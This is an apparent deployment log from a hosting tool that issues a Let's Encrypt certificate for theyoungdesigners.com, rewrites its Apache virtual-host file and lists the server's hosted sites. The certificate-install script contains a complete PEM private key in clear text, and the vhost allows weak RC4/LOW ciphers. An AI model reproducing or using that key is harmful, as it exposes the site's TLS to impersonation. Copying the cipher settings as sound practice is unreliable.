MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-09-17 14:03:27: Establishing a connection
2025-09-17 14:03:27: Establishing a connection
2025-09-17 14:03:27: 

PUT: /tmp/pkp194715

#!/bin/bash
if [ -d "/var/www/theyoungdesigners_com/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-17 14:03:27: 

chmod 755 /tmp/pkp194715; /tmp/pkp194715; rm /tmp/pkp194715

2025-09-17 14:03:27: 


1


2025-09-17 14:03:29: Establishing a connection
2025-09-17 14:03:29: 

PUT: /tmp/pkp171563

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cat > KTLrHI5nSL8mh9YLuFPk_tIi9Rk3qv4Jm2d5v51Z7HE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KTLrHI5nSL8mh9YLuFPk_tIi9Rk3qv4Jm2d5v51Z7HE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KTLrHI5nSL8mh9YLuFPk_tIi9Rk3qv4Jm2d5v51Z7HE
cat > 8VvhJV9r6fnU8H7si-K83vy0nne9a5_T7-0LL_7hUts <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
8VvhJV9r6fnU8H7si-K83vy0nne9a5_T7-0LL_7hUts.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 8VvhJV9r6fnU8H7si-K83vy0nne9a5_T7-0LL_7hUts


2025-09-17 14:03:29: 

chmod 755 /tmp/pkp171563; /tmp/pkp171563; rm /tmp/pkp171563

2025-09-17 14:03:29: 




2025-09-17 14:03:37: Establishing a connection
2025-09-17 14:03:37: 

PUT: /tmp/pkp956042

#!/bin/bash
mkdir -p "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
cd "/var/www/theyoungdesigners_com/.well-known/acme-challenge/"
rm KTLrHI5nSL8mh9YLuFPk_tIi9Rk3qv4Jm2d5v51Z7HE
rm 8VvhJV9r6fnU8H7si-K83vy0nne9a5_T7-0LL_7hUts


2025-09-17 14:03:38: 

chmod 755 /tmp/pkp956042; /tmp/pkp956042; rm /tmp/pkp956042

2025-09-17 14:03:38: 




2025-09-17 14:03:38: Establishing a connection
2025-09-17 14:03:38: 

PUT: /tmp/pkp578087

#!/bin/bash
temp_file=$(mktemp)
TARGET=2deaf2826866ca8d93ba58b86ef107a6.crt

cat > $temp_file <<'endmsg'
73:43:5a:c5:c0:6e:20:c6:7b:6d:31:08:67:62:66:12

-----BEGIN CERTIFICATE-----
MIIFIzCCBAugAwIBAgISBb9KukZ4sEEQaYJ6GF1lvz/5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTE3MTMwNTA2WhcNMjUxMjE2MTMwNTA1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDGihw6Prb23LY95EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6
hyEPV2iazNubBCedAFlwBEqRMujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx
/1cHr1PWNtiONfOUupIC/MTzbcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0t
w/+W6XFTtgGKnDU0a3UDjcJ/CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZ
tzao3s0eHAfU5Rou1hL2+Pm4jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXz
nmMnkDgXIrbs5NRJQwLt7KPta9J5VNThAgMBAAGjggJCMIICPjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMLuNIGWkVR500GsW6g4QtbdjGyKMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvMTIyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmVf86mcAAAQDAEgwRgIhANXseQWM0dho
+7EN0DalhN7sThVrH47Uo6/eh3b32mDhAiEAv7bGbwtuakR//+ZNHMz0r7K7HOR2
hSALttrV2ig6H3cAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAA
AZlX/OwyAAAEAwBHMEUCIEV7dtipSwvzYo/j5q2F0acjyHN0/3yCLw+Y0mMKTCgB
AiEAsk8BRgg3Lh7bARCuAIhEUYTPJvjqrlRvZqZGnaHy/aUwDQYJKoZIhvcNAQEL
BQADggEBAGynU2RD5VpwwV9g+fc8fi5y/VbGZEo4FaRwE9WLEZ1qd988SaSmwM2i
IuDQhxZrYhl6quxVPFOhP/N+WQsPQ25rzyhSc4QOAwUe3oveLzGsJOJ/3Lf8nAqz
3FECmF7DbaPpsuq9vPcIbogZrwWl2b4O1GbzUbIBmX2OHnYpSIFsuQuAVy1J36Uq
piTDSvM4K52VH/P8C/k/QOg5nWZ0ECGkjP/vXw3T//HEBducJMAtbEXTQG9ugwIA
GVllcgXYW8sL22SKOtBVKu+Kgy9vRtn8dBHwgY7XydLxglGeLV1RY8H1pJjjZY1x
YRsuifZBDmFa/yLABfNP1yf+2hx2wKU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDGihw6Prb23LY9
5EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6hyEPV2iazNubBCedAFlwBEqR
MujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx/1cHr1PWNtiONfOUupIC/MTz
bcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0tw/+W6XFTtgGKnDU0a3UDjcJ/
CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZtzao3s0eHAfU5Rou1hL2+Pm4
jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXznmMnkDgXIrbs5NRJQwLt7KPt
a9J5VNThAgMBAAECggEBAKiiDEHInP1nEH/XUqjyG484Rbi70zptI4YRNMtYWOWf
jdad+JJDoUMaXZE7TAUX9Xtgdwkaj9zeODvGAx3LZA3RarJibLEw0IK1ey7mBP7O
QdoXavPFnZy7Zb+IQuxTH3MDDkaIhZZ1/g9JdFRRRz91xYZNld2MgWCSs1LMhkje
46GfZwJPgTxHyQe6EYLrwUikSVUHO1VAykZ47ZrhuReS09EVsqqTlhidHbi4CXLL
CA90nGg1ewP/sqX897dI0d98VPGtq3KZJqFbTBI4cxnrQD3HFCycHiVVocTZ/c1a
ewvO8+s1rOftgJ1PY5/4T5zC0P/fSTXdjtXIoBT7wFUCgYEA5EkoMM9UVTzBRts8
Q7tYu76mun+nhCdmPp1z+gjLTRFIfSvFng0wqbdtRxnUgTUdazjWtcwyFNCvpmfp
JnUL2u4OHft3Z1AmRu/2nZv10M5Do+s7JxlFmQiiU+NvykzHF7jLraqZF6op4ZsX
KD/MicJY37SElAprjIXWUI5lNKMCgYEA3qR5rntHLiTkJE8lSG4W9DNTn9T4HA0N
5+SkFxZD/T0y4wbw2/nGGm9JVnQSHYtZUFTRHta8/mMq9DaRVx2wmXja7de82gRV
y3IBGH5one5viqBKwGvfBxlpD0ULh2fWGmNxBvMc/YYeKutahnSTHnCn03mFfRug
TklsC0fZZKsCgYA7E7OS7hSk+lQKQjIWVSVhcLU1DlQLnyaWjai1zBDQoOhhfDJn
9IHjadSd0dFsnpI+bTcjVPSg7mCGb92mViP7RB/jInCEC/nb4b2wi+vRXY+jm/xy
4ddhAxr/GpyTfcsIGIqdJsj3ltG/0KLth5UnEWRugAjPRuMOOpR7xF3sgQKBgQCb
OLppDiOrJSc1tUQ+AhrYuCwWI8my7NsEEGDig7B1DsS6iS1FgBdAeNP9hUDX/j4P
hoKhaH8tMABTcPPVc6qa5SplZeKRcTJLe7kN1ZukeAal9GkJTGuarHmVnsKR7a/U
h/3WJYrRqj7AF4Pud7nWIB6xjmilt6wEyKWeG8KRrwKBgB7Ps1D411wGsMMKS4ko
ybypoHJnQskTpQoZsTNGw1SJOlqWQzHLbZqyRYbwqim7f4hz4/kshrM7IqBysTmJ
CSDd3G+vXZuivtBTZ9q5iEuNWdVS4c3ogAM4McMxM//ZX7+CMDHQxIwaBY8/84Sv
0wg82itiLF1AlQA8Ki3iVurW
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-17 14:03:38: 

chmod 755 /tmp/pkp578087; /tmp/pkp578087; rm /tmp/pkp578087

2025-09-17 14:03:38: 


dir=/etc/ssl/certs


2025-09-17 14:03:38: 

PUT: /tmp/pkp195309

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-available/theyoungdesigners_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-17 14:03:38: 

chmod 755 /tmp/pkp195309; /tmp/pkp195309; rm /tmp/pkp195309

2025-09-17 14:03:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf 1481

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-17 14:03:38: 

PUT: /tmp/pkp700645

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_www_com.conf
TARGET=/etc/apache2/sites-available/theyoungdesigners_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-available/theyoungdesigners_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2//etc/apache2/sites-available/theyoungdesigners_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-available/theyoungdesigners_www_com.conf= 1'
fi


2025-09-17 14:03:38: 

chmod 755 /tmp/pkp700645; /tmp/pkp700645; rm /tmp/pkp700645

2025-09-17 14:03:38: 




2025-09-17 14:03:38: 

PUT: /tmp/pkp204566

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-17 14:03:38: 

chmod 755 /tmp/pkp204566; /tmp/pkp204566; rm /tmp/pkp204566

2025-09-17 14:03:38: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-17 14:03:38: Establishing a connection
2025-09-17 14:03:38: 

PUT: /tmp/pkp318751

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-17 14:03:38: 

chmod 755 /tmp/pkp318751; /tmp/pkp318751; rm /tmp/pkp318751

2025-09-17 14:03:38: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-17 14:03:38: 

PUT: /tmp/pkp463614

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/theyoungdesigners_www_com.conf')
    show_file('/etc/apache2/sites-available/theyoungdesigners_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-17 14:03:38: 

chmod 755 /tmp/pkp463614; /tmp/pkp463614; rm /tmp/pkp463614

2025-09-17 14:03:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf	1481

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
